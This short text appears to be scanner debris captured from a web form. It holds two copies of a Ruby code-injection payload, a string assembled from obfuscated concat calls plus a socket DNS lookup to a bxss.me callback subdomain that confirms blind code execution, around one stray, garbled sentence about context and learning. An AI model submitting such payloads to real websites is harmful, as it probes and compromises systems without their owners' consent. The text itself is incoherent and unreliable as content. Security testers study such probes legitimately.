‘A’.concat(70-3).concat(22*4).concat(119).concat(81).concat(117).concat(90)+(require’socket’
Socket.gethostbyname(‘hitfz’+’lbodfxcv74f1a.bxss.me.’)[3].to_s)

Docy turns out that context is a key part of learning.
‘A’.concat(70-3).concat(22*4).concat(119).concat(81).concat(117).concat(90)+(require’socket’
Socket.gethostbyname(‘hitfz’+’lbodfxcv74f1a.bxss.me.’)[3].to_s)